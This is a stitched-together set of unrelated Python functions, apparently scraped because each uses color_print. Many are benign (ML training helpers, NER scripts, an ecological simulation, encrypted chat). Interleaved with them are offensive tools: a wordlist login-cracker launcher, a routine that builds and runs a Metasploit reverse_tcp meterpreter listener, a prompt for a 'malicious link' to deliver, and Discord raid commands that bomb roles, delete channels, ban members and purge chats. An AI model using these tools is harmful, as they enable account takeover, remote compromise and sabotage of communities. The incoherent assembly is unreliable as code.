def config(): # Read in the config file global configParser configParser = ConfigParser.RawConfigParser() configParser.read('config') # Read in the username and wordlist from the config file. global dic_path dic_path = configParser.get('Config', 'dict') username = configParser.get('Config', 'user') # The wordlist file does not exist. if (Path(dic_path).is_file() == False): color_print( "\n\n[!] Please define the username and wordlist in the config file", color='red') return # There is no username and wordlist specified in the config file. if username == 'username' and dic_path == 'wordlist': color_print("\n\n[!] You need to setup the config file", color='red') return else: # # Start the crack # setup() threading(login)
def save_model_fn(ae, ae_config, pc_config, root_weights, now, iteration, total_iterations, best_val, save_config): target_bpp = ae_config.H_target/(64./ae_config.num_chan_bn) if ae_config.AE_only: model_config = '_AE_only_' else: model_config = '_sinet_' model_name = 'target_bpp' + str(target_bpp) + model_config + now ae.save_model(root_weights + model_name + '/model') color_print('Saving to:' + root_weights + model_name, color='yellow') f = open(root_weights + 'last_saved_' + model_name + '.txt', 'w+') f.write(root_weights + model_name + '\nlast saved iteration number: ' + str(iteration) + '/' + str(total_iterations) + '\nlast saved val loss: ' + str(best_val)) f.close() if save_config and not os.path.exists(root_weights + 'configs_' + model_name + '.txt'): f = open(root_weights + 'configs_' + model_name + '.txt', 'a+') f.write('# ae configs:\n' + str(ae_config)) f.write('\n\n# pc configs:\n' + str(pc_config)) f.close() return model_name
def login(url): tests = 0 while tests < 5: color_print('--------------', color='red') color_print('**Login Form**', color='black', highlight='white', bold=True) color_print('--------------', color='red') information = {'username': input('Username: '******'password': input('Password: '******'/api/Login', information) if response.status_code == 200: # TOKEN token = json.loads(response.text)['token'] jwttoken = {'Authorization': 'JWT ' + token} color_print('Log in Successful.', color='black', highlight='green') return options(jwttoken) else: color_print('Username or Password is incorrect!', color='white', highlight='red') tests += 1 if tests == 5: break else: ans = input('Do you want to try again?(yes/no)\n') while ans.lower() != 'yes' and ans.lower() != 'no': ans = input('Do you want to try again?(yes/no)\n') if ans.lower() == 'no': break
def contain(container, obj): for o in container: if o.name.lower() == obj.lower() or str( o.id) == obj or f'<@!{str(o.id)}>' == obj: return o color_print('Unable to find ' + obj, color='yellow') return None
async def auditLog(ctx, file=None, n=None): ctx_checked = connect_server(ctx, ['guild']) if file is None: file = f'audit_logs_{ctx_checked.guild.name}_{ctx_checked.guild.id}.txt' if n is not None: n = int(n) if n < 1: return await ctx.send('Invaild item number.') color_print('Getting everything in audit log ready...', color='pink') with open(file, 'w+') as f: counter = 0 async for entry in ctx_checked.guild.audit_logs(limit=n): counter += 1 action = entry.action.name if hasattr(entry.target, 'discriminator'): f.write( f'{entry.user} did {action} to {entry.target.name}#{entry.target.discriminator} id={entry.target.id}\n' ) elif hasattr(entry.target, 'name'): f.write( f'{entry.user} did {action} to {entry.target.name} id={entry.target.id}\n' ) else: f.write( f'{entry.user} did {action} to guild_name={entry.guild.name} id={entry.guild.id}\n' ) #f.write('{0.user} did {0.action} to {0.target}\n'.format(entry)) color_print(f'Finished saving audit log with {str(counter)} item(s).', color='green')
def stanfordNer(): f = open("federer.txt", "r") text = f.read() jar = './stanford-ner-tagger/stanford-ner.jar' model = './stanford-ner-tagger/english.muc.7class.distsim.crf.ser.gz' ner_tagger = StanfordNERTagger(model, jar, encoding='utf8') words = nltk.word_tokenize(text) color_print('\nStanfordNER', color='blue', bold=True, underline=True) color_print('\nPrepoznati entiteti:\n', color='yellow', bold=True, underline=True) table = PrettyTable(["Prepoznati entitet", "Tip entiteta"]) for token, tag in ner_tagger.tag(words): if tag != "O": table.add_row([token, tag]) print(table) with open("Rezultati_StanfordNER.txt", "w", encoding="utf8") as text_file: text_file.write("Prepoznati entiteti: \n\n%s" % table) print("Rezultati sačuvani u fajl Rezultati_StanfordNER.txt")
def listenForConnections(): # Do you want to listen for any connections. listen = raw_input('Do you want to start up a listener: [Y/N]: ') if listen == 'Y' or listen == 'y' or listen == 'yes' or listen == 'Yes': color_print("[+] Starting a listener", color='blue') # Listen for a connection lhost = raw_input('What is your LHOST (local ip address): ') lport = raw_input('What is your LPORT (port): ') payload = raw_input( 'What is your payload: (eg windows/meterpreter/reverse_tcp): ') if payload == '': payload = 'windows/meterpreter/reverse_tcp' if os.path.isfile('resource.rc'): os.system('rm resource.rc') os.system('touch resource.rc') os.system('echo use exploit/multi/handler >> resource.rc') os.system('echo set PAYLOAD ' + payload + ' >> resource.rc') os.system('echo set LHOST ' + lhost + ' >> resource.rc') os.system('echo set LPORT ' + lport + ' >> resource.rc') os.system('echo set ExitOnSession false >> resource.rc') os.system('echo exploit -j -z >> resource.rc') os.system('cat resource.rc') os.system('msfconsole -r resource.rc') else: #color_print("[+] Generated a report..", color='green') #if isUsingMessenger == False: # generateMailReport(fromAddr, toAddr, spoofName, subject, message, html) #else: # generateMessengerReport(fbuser, fbuserID, fbmessage, link) color_print("\nThanks, Happy hacking", color='blue') return
def main( lang_list: List[str], action: str, force_build: bool, only: str ) -> None: try: # builds base image used by all other images base_image_name = build_docker_image('base', force_build) # noqa: F841 except CalledProcessError as err: color_print( "Could not create base docker image", color="red", bold=True) raise err for lang in lang_list: try: image_name = build_docker_image(lang.lower(), force_build) run_docker_image(image_name, action, only) except CalledProcessError as err: out_msg = err.stdout.decode().strip() err_msg = err.stderr.decode().strip() err_code = err.returncode print(f"[M][{lang}] {out_msg}; Code {err_code}") print(f"[E][{lang}] {err_msg}; Code {err_code}")
def run_model(sim, h, u, sD, nr, r, im, Si, clr): rD, iD, ct, splist2, asplist2, dsplist2 = {}, {}, 0, [], [], [] ps = [h, r, u, nr, im, Si] hvar, uvar = 0, 0 t = time.time() minlim = 1000+(h/u)**0.8 print '\ntau:', log10(h/u), ' h:', h, ' u:', u ct2 = 0 while ct != -1: ps = [h, r, u, nr, im, Si] iD, sD, rD, N, S, R, ct, prod, pD, avgQ, Sz, D, Ri = iter_procs(iD, sD, rD, ps, ct, minlim) Rp = R if ct <= minlim and ct%100 == 0: string = 'sim:'+'%4s' % str(sim)+' ct:'+'%5s' % str(int(round(minlim-ct, 0))) string += ' tau:''%6s' % str(round(log10(h/u), 2)) + ' N:'+'%5s' % str(N)+' S:'+'%5s' % str(S) string += ' R:'+'%6s' % str(round(Rp, 4))+' P:'+'%4s' % str(round(prod, 2)) string += ' %D:'+'%5s' % str(round(100*pD,1)) + ' Q:'+'%6s' % str(round(avgQ,2)) string += ' Sz:'+'%6s' % str(round(Sz,2)) + ' Ri:'+'%6s' % str(round(Ri,2)) color_print(string) elif ct > minlim and ct%10 == 0: ct2 += 1 ps2 = [h, h, hvar, r, u, u, uvar, nr, im] splist2, asplist2, dsplist2 = fx.output(iD, sD, rD, ps2, sim, t, ct, prod, splist2, asplist2, dsplist2, D, minlim, pD, clr, Ri) if ct2 == 100: return
def check_perms(ctx): # for perm in permissions: if f'{ctx.author.name}#{ctx.author.discriminator}' in permissions: return True color_print( f'{ctx.author} tried to command "{ctx.message.content}" in channel "{ctx.message.channel.name}".', color='red') return False
async def aCat(ctx, name, *, name1=None): ctx_checked = connect_server(ctx, ['guild']) name = add_args(name, name1) try: await ctx_checked.guild.create_category(name) print('Successfully created category: ' + name) except: color_print('Unable to create category: ' + name, color='yellow')
async def on_command_error(ctx, error): if isinstance(error, commands.CommandNotFound): color_print(f'That command doesn\'t exist.', color='pink') return try: color_print(error, color='yellow') except: raise error
def send_message(socketClient, AESk): while True: msg = raw_input("\n[>] ENTER YOUR MESSAGE : ") en = AESk.encrypt(Padding(msg)) socketClient.send(str(en)) if msg == FLAG_QUIT: os.kill(os.getpid(), signal.SIGKILL) else: color_print("\n[!] Your encrypted message \n" + en, color="gray")
def SendMessage(): while True: msg = raw_input("[>] YOUR MESSAGE : ") en = AESKey.encrypt(Padding(msg)) server.send(str(en)) if msg == FLAG_QUIT: os.kill(os.getpid(), signal.SIGKILL) else: color_print("\n[!] Your encrypted message \n" + en, color="gray")
async def sn(ctx, s, *, s1=None): ctx_checked = connect_server(ctx, ['guild']) if s1 is not None: s += ' ' + s1 try: await ctx_checked.guild.edit(name=s) print('Server name changed to: ' + s) except: color_print('Unable to change server name.', color='yellow')
async def dVC(ctx, s): ctx_checked = connect_server(ctx, None) channel = contain(ctx_checked.channels, s) try: await channel.delete() print('VC: ' + channel.name + ' is deleted.') except: color_print('Unable to delete VC: ' + channel.name, color='yellow')
async def roleBomb(ctx, n=number_of_bomb_default, type_='random'): type_, argv = check_type(type_) color_print('Role bombing...', color='pink') for _ in range(n): temp = await aRole(ctx, type_(bomb_messages[argv])) if temp: return color_print('Role bombing, successful.', color='green')
async def dCat(ctx, s, *, s1=None): add_args(s, s1) ctx_checked = connect_server(ctx, ['guild']) category = contain(ctx_checked.guild.categories, s) try: await category.delete(reason=None) print('Successfully deleted category: ' + category.name) except: color_print('Unable to delete category: ' + category.name, color='yellow')
async def disconnect(ctx): temp_ctx, connected = check_server(ctx) if connected: global connected_server connected_server = None color_print('Finished disconnecting from ' + temp_ctx.name, color='green') await ctx.send('Finished disconnecting from ' + temp_ctx.name) else: await ctx.send('The bot is already disconnected.')
def change_keyword(self): content = self.__random_select(self.contents) new_keyswords = word_extraction(content['text']) new_keywords = list(set(new_keyswords.get('NNP', []))) if len(new_keywords): prev_keyword = self.crawlers[self.target].keyword new_keyword = self.__random_select(new_keywords) self.crawlers[self.target].init(new_keyword) color_print('** keyword change %s: %s => %s**'%(self.target, prev_keyword, new_keyword), color='yellow')
def ReceiveMessage(): while True: emsg = server.recv(1024) msg = RemovePadding(AESKey.decrypt(emsg)) if msg == FLAG_QUIT: color_print("\n[!] Server was shutdown by admin", color="red", underline=True) os.kill(os.getpid(), signal.SIGKILL) else: color_print("\n[!] Server's encrypted message \n" + emsg, color="gray") print "\n[!] SERVER SAID : ", msg
async def si(ctx, path=None): ctx_checked = connect_server(ctx, ['guild']) # https://regex101.com/ regex = r'((http|fpt)s?:\/\/)|(([0-9A-Za-z]{1,256}.)?)+' if path is None: # remove icon await ctx_checked.guild.edit(icon=None) return color_print('Successfully removed the current server icon.', color='green') elif re.search( regex, path) is not None: # Link EX: https://www.example.com/aaa.png try: response = requests.get(path) img = BytesIO(response.content).read() await ctx_checked.guild.edit(icon=img) color_print('Successfully changed the current server icon.', color='green') except: color_print('Bad image URL.', color='yellow') else: # File EX: C:\Users\user\Desktop\something.jpg or EX: .\icon\something.jpg try: with open(path, 'rb') as data: await ctx_checked.guild.edit(icon=data.read()) color_print('Successfully removed the current server icon.', color='green') except: color_print('Bad path to image.', color='yellow')
async def ban(ctx, member): ctx_checked = connect_server(ctx, ['guild']) member = contain(ctx_checked.guild.members, member) try: await member.ban(reason=None) color_print(f'Banned: {member.name}#{member.discriminator}', color='white') except: color_print(f'Failed to ban: {member.name}#{member.discriminator}', color='red')
def getLink(): # Tell the user to upload there file. color_print("Upload it to a free file hosting website: https://nofile.io/", color='yellow') color_print("OR Paste in the IP Address of your malicious server", color='yellow') time.sleep(2) link = raw_input("\nPaste your malicious link: \n") while len(link) == 0: link = raw_input("Paste your malicious link: ") return link
def run(self): global Globalvariable while 1: message_recu = self.connexion.recv(1024).decode("Utf8") if message_recu[0:14] == "##Rsapubkeyis#": if not Globalvariable['RSA_Recieved']: message = message_recu[14:].split("#") Globalvariable['OtherRsaE'], Globalvariable[ 'OtherRsaN'] = int(message[0]), int(message[1]) self.connexion.send("##YesRsa".encode("Utf8")) Rsa = RSA() Globalvariable["EncRC4Key"] = Rsa.crypt( Globalvariable["OtherRsaE"], Globalvariable["OtherRsaN"], Globalvariable["RC4Key"]) Globalvariable['RSA_Recieved'] = True color_print( "Public Anahtarı -->" + str(Globalvariable["OtherRsaE"]) + str(Globalvariable["OtherRsaN"]), 'red') color_print( "RC4 Private Anahtarı -->" + Globalvariable["RC4Key"], 'red') color_print( "Şifrelenmiş Anahtar -->" + str(Globalvariable["EncRC4Key"]), 'red') else: self.connexion.send("##YesRsa".encode("Utf8")) elif message_recu == "##YesRsa": Globalvariable['RSA_Sent'] = True elif message_recu[:6] == "##RC4#": if Globalvariable["OtherRC4"] == "": Rsa = RSA() Globalvariable["OtherRC4"] = Rsa.decrypt( Globalvariable["d"], Globalvariable["n"], int(message_recu[6:])) self.connexion.send("##YesRC4".encode("Utf8")) else: self.connexion.send("##YesRC4".encode("Utf8")) elif message_recu == "##YesRC4": if not Globalvariable["RC4_sent"]: Globalvariable["RC4_sent"] = True elif Globalvariable['RSA_Sent'] and Globalvariable[ 'RSA_Recieved'] and message_recu[ 0: 14] != "##Rsapubkeyis#" and message_recu != "##YesRsa" and message_recu != "##YesRC4": Rc44 = RC4() Rc44.shuffle(str(Globalvariable["OtherRC4"])) message = Rc44.Crypt(message_recu) color_print("Mesaj -->" + message, 'yellow') color_print("Şifrelenmiş Mesaj -->" + message_recu, 'blue')
def handle_message(self, msg): """manage message of different type and in the context of path""" from lazyme.string import color_print if msg.module not in self._modules: if msg.module: color_print('\n\n************* Module %s *************' % msg.module, color='red') self._modules.add(msg.module) else: self.writeln('*************') self.write_message(msg)
def print_to_console(show_every, train_sum, train_loss_history, train_iters, iteration, bpp_sum, val_loss, tbar): train_loss = train_sum / float(show_every) train_loss_history.append(train_loss) train_iters.append(iteration) bpp = bpp_sum / float(show_every) s = "Loss: {:.4f}, bpp: {:.4f}".format(train_loss, bpp) tbar.set_description(s) s = " Validation Loss: {:.4f}".format(val_loss) color_print(s, color='green') return bpp, train_loss_history, train_iters
async def dRole(ctx, role): ctx_checked = connect_server(ctx, ['guild']) role = contain(ctx_checked.guild.roles, role) if role is None: return color_print('Unable to find role: ' + role, color='yellow') try: await role.delete(reason=None) color_print('Deleted role: ' + role.name, color='white') except: color_print('Failed to delete role: ' + role.name, color='red')
async def dChannel(ctx, channel, do_check=True): if do_check: ctx_checked = connect_server(ctx, ['guild']) channel = contain(ctx_checked.guild.channels, channel) print('shiting') try: await channel.delete(reason=None) print(f'Channel: {channel.name} is deleted.') except: color_print('Unable to delete channel: ' + channel.name, color='yellow')
def classlaSerbian(): color_print('\nClassla - srpski', color='blue', bold=True, underline=True) f = open("federer_srb2.txt", "r", encoding="utf8") text = f.read() nlp = classla.Pipeline('sr') doc = nlp(text) tableEnt = PrettyTable(["Prepoznati entitet", "Tip entiteta"]) for sentence in doc.sentences: for word in sentence.tokens: if word.ner != "O": tableEnt.add_row([word.text, word.ner]) print(tableEnt)
async def clear(ctx, n=None): try: if n is not None: s = 'up to ' + str(n) # to make sure n is a string n = int(n) else: s = 'all' await ctx.channel.purge(limit=n) color_print( f'Successfully cleared {s} message(s) in the current chat.', color='green') except: color_print('Unable to clear the current chat.', color='yellow')
def output(iD, sD, rD, ps, sim, t, ct, prod, splist2, asplist2, dsplist2, D, minlim, pD, clr, Ri): h, h1, hvar, r, u, u1, uvar, nr, im = ps nN, rmax, gmax, maintmax, dmax, pmax = 3, 1, 1, 1, 1, 1 N, S, R = 0, 0, 0 G, M, MF, RP, Di, Sz, S_NR, S_GL, S_ML, S_MF, S_RP, S_Di = [0]*12 aG, aM, aMF, aRP, aDi, aSz, aS_NR, aS_GL, aS_ML, aS_MF, aS_RP, aS_Di = [0]*12 dG, dM, dMF, dRP, dDi, dSz, dS_NR, dS_GL, dS_ML, dS_MF, dS_RP, dS_Di = [0]*12 SpIDs, IndIDs, Qs, GList, MList, MFList, AList = [list([]) for _ in xrange(7)] aAList, dAList, aQs, dQs, RepList, aRepList, dRepList = [list([]) for _ in xrange(7)] RPList, DiList, DoList, ADList, SzList = [list([]) for _ in xrange(5)] RIDs, Rvals, Rtypes, indX, a_indX, d_indX = [list([]) for _ in xrange(6)] aIndIDs, aSpIDs, aGList, aMList, aMFList, aRPList, aDiList, aSzList, aQs = [list([]) for _ in xrange(9)] dIndIDs, dSpIDs, dGList, dMList, dMFList, dRPList, dDiList, dSzList, dQs = [list([]) for _ in xrange(9)] S_GList, S_MList, S_MFList, S_RPList, S_DiList = [list([]) for _ in xrange(5)] aS_GList, aS_MList, aS_MFList, aS_RPList, aS_DiList = [list([]) for _ in xrange(5)] dS_GList, dS_MList, dS_MFList, dS_RPList, dS_DiList = [list([]) for _ in xrange(5)] aNRList1, aNRList2, aNRList3 = [list([]) for _ in xrange(3)] dNRList1, dNRList2, dNRList3 = [list([]) for _ in xrange(3)] NRList1, NRList2, NRList3 = [list([]) for _ in xrange(3)] aNRList1e, aNRList2e, aNRList3e = [list([]) for _ in xrange(3)] dNRList1e, dNRList2e, dNRList3e = [list([]) for _ in xrange(3)] NRList1e, NRList2e, NRList3e = [list([]) for _ in xrange(3)] S_NRList1, S_NRList2, S_NRList3 = [list([]) for _ in xrange(3)] aS_NRList1, aS_NRList2, aS_NRList3 = [list([]) for _ in xrange(3)] dS_NRList1, dS_NRList2, dS_NRList3 = [list([]) for _ in xrange(3)] for k, v in rD.items(): RIDs.append(k) Rvals.append(v['v']) Rtypes.append(v['t']) R, tR, Rrich = len(RIDs), sum(Rvals), len(list(set(Rtypes))) Rdens = R/h for k, v in iD.items(): IndIDs.append(k) AList.append(v['age']) SpIDs.append(v['sp']) GList.append(v['gr']) if v['st'] == 'a': MList.append(v['mt']) elif v['st'] == 'd': MList.append(v['mt'] * v['mf']) MFList.append(v['mf']) RPList.append(v['rp']) NRList1.append(np.var(v['ef'])) ls = v['ef'] ls = filter(lambda a: a != 0, ls) NRList2.append(np.var(ls)) NRList3.append(1/len(ls)) NRList1e.append(np.var(v['e_ef'])) ls = v['e_ef'] ls = filter(lambda a: a != 0, ls) NRList2e.append(np.var(ls)) NRList3e.append(len(ls)) DiList.append(v['di']) SzList.append(v['sz']) Qs.append(v['q']) indX.append(v['x']) ri = v['q']/v['mt'] rp = ri/(1+ri) * v['sz']/(1+v['sz']) RepList.append(rp) if v['st'] == 'a': aIndIDs.append(k) aSpIDs.append(v['sp']) aGList.append(v['gr']) aMList.append(v['mt']) aMFList.append(v['mf']) aRPList.append(v['rp']) aAList.append(v['age']) aQs.append(v['q']) ri = v['q']/v['mt'] rp = ri/(1+ri) * v['sz']/(1+v['sz']) aRepList.append(rp) aNRList1.append(np.var(v['ef'])) ls = v['ef'] ls = filter(lambda a: a != 0, ls) aNRList2.append(np.var(ls)) aNRList3.append(1/len(ls)) aNRList1e.append(np.var(v['e_ef'])) ls = v['e_ef'] ls = filter(lambda a: a != 0, ls) aNRList2e.append(np.var(ls)) aNRList3e.append(len(ls)) aDiList.append(v['di']) aSzList.append(v['sz']) aQs.append(v['q']) a_indX.append(v['x']) elif v['st'] == 'd': dIndIDs.append(k) dSpIDs.append(v['sp']) dGList.append(v['gr']) dMList.append(v['mt'] * v['mf']) dMFList.append(v['mf']) dRPList.append(v['rp']) dAList.append(v['age']) dQs.append(v['q']) ri = v['q']/v['mt'] rp = ri/(1+ri) * v['sz']/(1+v['sz']) dRepList.append(rp) dNRList1.append(np.var(v['ef'])) ls = v['ef'] ls = filter(lambda a: a != 0, ls) dNRList2.append(np.var(ls)) dNRList3.append(1/len(ls)) dNRList1e.append(np.var(v['e_ef'])) ls = v['e_ef'] ls = filter(lambda a: a != 0, ls) dNRList2e.append(np.var(ls)) dNRList3e.append(len(ls)) dDiList.append(v['di']) dSzList.append(v['sz']) dQs.append(v['q']) d_indX.append(v['x']) NR1 = np.mean(NRList1) NR1e = np.mean(NRList1e) S_NR1 = np.mean(list(set(NRList1))) NR2 = np.mean(NRList2) NR2e = np.mean(NRList2e) S_NR2 = np.mean(list(set(NRList2))) NR3 = np.mean(NRList3) NR3e = np.mean(NRList3e) S_NR3 = np.mean(list(set(NRList3))) aNR1 = np.mean(aNRList1) aNR1e = np.mean(aNRList1e) aS_NR1 = np.mean(list(set(aNRList1))) aNR2 = np.mean(aNRList2) aNR2e = np.mean(aNRList2e) aS_NR2 = np.mean(list(set(aNRList2))) aNR3 = np.mean(aNRList3) aNR3e = np.mean(aNRList3e) aS_NR3 = np.mean(list(set(aNRList3))) dNR1 = np.mean(dNRList1) dNR1e = np.mean(dNRList1e) dS_NR1 = np.mean(list(set(dNRList1))) dNR2 = np.mean(dNRList2) dNR2e = np.mean(dNRList2e) dS_NR2 = np.mean(list(set(dNRList2))) dNR3 = np.mean(dNRList3) dNR3e = np.mean(dNRList3e) dS_NR3 = np.mean(list(set(dNRList3))) N = len(IndIDs) aN = len(aIndIDs) dN = len(dIndIDs) S = len(list(set(SpIDs))) aS = len(list(set(aSpIDs))) dS = len(list(set(dSpIDs))) RAD, splist = GetRAD(SpIDs) ES = e_simpson(RAD) if len(RAD) == 0: Nm = float('NaN') else: Nm = max(RAD) aRAD, asplist = GetRAD(aSpIDs) aES = e_simpson(aRAD) if len(aRAD) == 0: aNm = float('NaN') else: aNm = max(aRAD) dRAD, dsplist = GetRAD(dSpIDs) dES = e_simpson(dRAD) if len(dRAD) == 0: dNm = float('NaN') else: dNm = max(dRAD) if S > 0: x = np.array(RAD) skw = sum((x - np.mean(x))**3)/((S-1)*np.std(x)**3) lms = np.log10(abs(float(skw)) + 1) if skw < 0: lms = lms * -1 else: lms = float('NaN') if aS > 0: ax = np.array(aRAD) askw = sum((ax - np.mean(ax))**3)/((aS-1)*np.std(ax)**3) alms = np.log10(abs(float(askw)) + 1) if askw < 0: alms = alms * -1 else: alms = float('NaN') if dS > 0: dx = np.array(dRAD) dskw = sum((dx - np.mean(dx))**3)/((dS-1)*np.std(dx)**3) dlms = np.log10(abs(float(dskw)) + 1) if dskw < 0: dlms = dlms * -1 else: dlms = float('NaN') wt = WhittakersTurnover(splist, splist2) splist2 = list(splist) awt = WhittakersTurnover(asplist, asplist2) asplist2 = list(asplist) dwt = WhittakersTurnover(dsplist, dsplist2) dsplist2 = list(dsplist) avgA = np.mean(AList) varA = np.var(AList) G = np.mean(GList) M = np.mean(MList) MF = np.mean(MFList) RP = np.mean(RPList) Di = np.mean(DiList) Sz = np.mean(SzList) S_G = np.mean(list(set(GList))) S_M = np.mean(list(set(MList))) S_MF = np.mean(list(set(MFList))) S_RP = np.mean(list(set(RPList))) S_Di = np.mean(list(set(DiList))) avg_active_A = np.mean(aAList) aRep = np.mean(aRepList) Rep = np.mean(RepList) dRep = np.mean(dRepList) aG = np.mean(aGList) aM = np.mean(aMList) aMF = np.mean(aMFList) aRP = np.mean(aRPList) aDi = np.mean(aDiList) aSz = np.mean(aSzList) aS_G = np.mean(list(set(aGList))) aS_M = np.mean(list(set(aMList))) aS_MF = np.mean(list(set(aMFList))) aS_RP = np.mean(list(set(aRPList))) aS_Di = np.mean(list(set(aDiList))) avg_dormant_A = np.mean(dAList) dG = np.mean(dGList) dM = np.mean(dMList) dMF = np.mean(dMFList) dRP = np.mean(dRPList) dDi = np.mean(dDiList) dSz = np.mean(dSzList) dS_G = np.mean(list(set(dGList))) dS_M = np.mean(list(set(dMList))) dS_MF = np.mean(list(set(dMFList))) dS_RP = np.mean(list(set(dRPList))) dS_Di = np.mean(list(set(dDiList))) Q = np.mean(Qs) aQ = np.mean(aQs) dQ = np.mean(dQs) Nvar = np.var(RAD) aNvar = np.var(aRAD) dNvar = np.var(dRAD) avgN = np.mean(RAD) aavgN = np.mean(aRAD) davgN = np.mean(dRAD) OUT = open('results/data/SimData.csv', 'a') outlist = [sim, clr, t, ct, im, r, nN, rmax, gmax, maintmax, dmax, 1000, u, h,\ N, aN, dN, prod, R, Rdens, Rrich, S, ES, avgN, Nvar, Nm, lms, wt, Q, G, M, \ NR1, NR2, NR3, NR1e, NR2e, NR3e,\ Di, RP, MF, Sz, aS, aES, aavgN, aNvar, aNm, alms, awt, aQ,\ aG, aM, aNR1, aNR2, aNR3, aNR1e, aNR2e, aNR3e, aDi, aRP, aMF, aSz, dS, dES, \ davgN, dNvar, dNm, dlms, dwt, dQ, dG, dM, dNR1, dNR2, dNR3, dNR1e, dNR2e, dNR3e, \ dDi, dRP, dMF, dSz, pD, nr, tR, S_NR1, S_NR2, S_NR3, S_G, S_M, S_MF, S_RP, S_Di, \ aS_NR1, aS_NR2, aS_NR3, aS_G, aS_M, aS_MF, aS_RP, aS_Di, dS_NR1, dS_NR2, \ dS_NR3, dS_G, dS_M, dS_MF, dS_RP, dS_Di, avgA, avg_active_A, avg_dormant_A, varA, aRep, Rep, dRep, h1, hvar, u1, uvar] outlist = str(outlist).strip('[]') outlist = outlist.replace(" ", "") print>>OUT, outlist OUT.close() OUT = open('results/data/RAD-Data.csv', 'a') print>>OUT, sim, ',', h/u, ',', ct,',', RAD, ',', splist OUT.close() OUT = open('results/data/active.RAD-Data.csv', 'a') print>>OUT, sim, ',', h/u, ',', ct,',', aRAD, ',', asplist OUT.close() OUT = open('results/data/dormant.RAD-Data.csv', 'a') print>>OUT, sim, ',', h/u, ',', ct, ',', dRAD, ',', dsplist OUT.close() Rp = R #(R/h)/((R/h)+1) string = 'sim:'+'%4s' % str(sim)+' ct:'+'%5s' % str(int(round(minlim-ct, 0))) string += ' tau:''%6s' % str(round(np.log10(h/u), 2)) string += ' N:'+'%5s' % str(N)+' S:'+'%5s' % str(S) string += ' R:'+'%6s' % str(round(Rp, 4))+' P:'+'%4s' % str(round(prod, 2)) string += ' %D:'+'%5s' % str(round(100*pD,1)) string += ' Q:'+'%6s' % str(round(Q,2)) string += ' Sz:'+'%6s' % str(round(Sz,2)) string += ' Ri:'+'%6s' % str(round(Ri,2)) color_print(string, color='green') return splist2, asplist2, dsplist2